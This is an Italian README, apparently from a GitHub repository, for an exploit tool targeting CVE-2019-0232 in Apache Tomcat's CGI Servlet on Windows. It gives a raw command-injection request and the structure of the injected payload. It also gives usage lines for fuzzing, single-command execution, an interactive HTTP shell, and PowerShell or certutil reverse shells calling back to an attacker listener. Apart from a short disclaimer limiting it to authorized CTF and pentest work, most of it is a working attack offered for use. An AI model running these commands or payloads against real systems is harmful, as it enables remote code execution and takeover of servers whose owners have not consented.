
Apache Tomcat CGI Servlet RCE (Windows)
PoC educativo solo per CTF autorizzati / penetration testing.
Eseguirlo su sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione scritta è illegale.
CVE-2019-0232 è una vulnerabilità di Remote Code Execution in Apache Tomcat su Windows.
Quando il CGI Servlet ha enableCmdLineArguments=true (impostazione predefinita su Windows prima della patch), Tomcat passa la stringa di query HTTP direttamente come argomenti della riga di comando al file batch CGI tramite Runtime.exec(). Su Windows, Runtime.exec() avvolge la chiamata con cmd.exe /c, rendendo attivo il separatore di comandi & all'interno di questi argomenti.
Un attaccante può iniettare un secondo comando del sistema operativo includendo & (URL-encoded come %26) nell'URL:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe vede & ed esegue whoami dopo che cmd.bat termina
| Branch | Intervallo vulnerabile | Corretta in |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
Requisito: enableCmdLineArguments=true in conf/web.xml (predefinito su Windows prima della patch).
-w)--cmd)certutil (fallback)System32, Windows, Wbem, PowerShell in modo che whoami, ipconfig, netstat, powershell.exe funzionino senza percorsi completi2>&1 aggiunto automaticamente per rendere visibile l'output di errore--proxy http://127.0.0.1:8080git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Richiede Python 3.8+.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
| Flag | Descrizione |
|---|---|
--auto | Enum → fuzz → entra nella shell interattiva |
--enum | Enumera solo la versione di Tomcat e i percorsi CGI |
--fuzz | Fuzza per endpoint .bat/.cmd accessibili |
--cmd COMMAND | Esegue un singolo comando |
--interactive | Ciclo shell HTTP interattiva |
--reverse-shell | Avvia una reverse shell (richiede --lhost) |
Modalità automatica — lascia che lo script trovi tutto:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
Comando singolo su un endpoint noto:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
Ciclo shell interattiva:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
Catena automatica completa → reverse shell (nessun nc separato necessario):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
Lo script apre il proprio listener TCP su --lport, spara il payload PowerShell e ti inserisce in una shell interattiva quando il target richiama.
Reverse shell PowerShell su un percorso noto:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
Stager certutil (se PowerShell è bloccato):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
Wordlist personalizzata per il fuzzing:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
Le voci senza estensione vengono automaticamente testate come .bat e .cmd.
Instradamento tramite Burp Suite:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
Mostra l'URL di iniezione grezzo prima di ogni richiesta:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
posizionali / obbligatori:
-t, --target URL URL base del target es. http://10.10.10.x:8080
percorso:
-p, --path PATH Percorso script CGI noto es. /cgi/cmd.bat
modalità:
--auto Catena completa: enum → fuzz → interattiva
--enum Enumera versione Tomcat e percorsi CGI
--fuzz Fuzza per endpoint script CGI accessibili
--cmd COMMAND Esegue un singolo comando e stampa l'output
--interactive Ciclo comandi interattivo (shell HTTP)
--reverse-shell Invia reverse shell PowerShell
reverse shell:
--lhost IP IP del tuo listener (usa tun0 per HTB/OSCP)
--lport PORT Porta del tuo listener (default: 4444)
--shell-method {ps,certutil}
Tipo di payload: ps (default) o stager certutil
opzioni:
-w, --wordlist FILE Nomi CGI extra da fuzzare (uno per riga)
--threads N Thread di fuzz (default: 15)
--timeout N Timeout HTTP in secondi (default: 10)
--proxy URL Proxy HTTP es. http://127.0.0.1:8080
--no-ssl-verify Disabilita verifica certificato TLS
--show-url Stampa l'URL di iniezione completo prima di ogni richiesta
Lo script costruisce l'URL di iniezione in tre passaggi:
Iniezione PATH — racchiude il comando in un gruppo che imposta prima PATH:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
echo. produce una riga vuota, soddisfacendo il parser header CGI di Tomcat in modo che il corpo della risposta sia visibile.
URL encoding — gli spazi diventano +, i caratteri speciali diventano %XX tramite urllib.parse.quote.
Punto di iniezione — il gruppo codificato viene posizionato dopo %26 (il separatore &):
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Ottenere sempre un'esplicita autorizzazione scritta prima di testare qualsiasi sistema.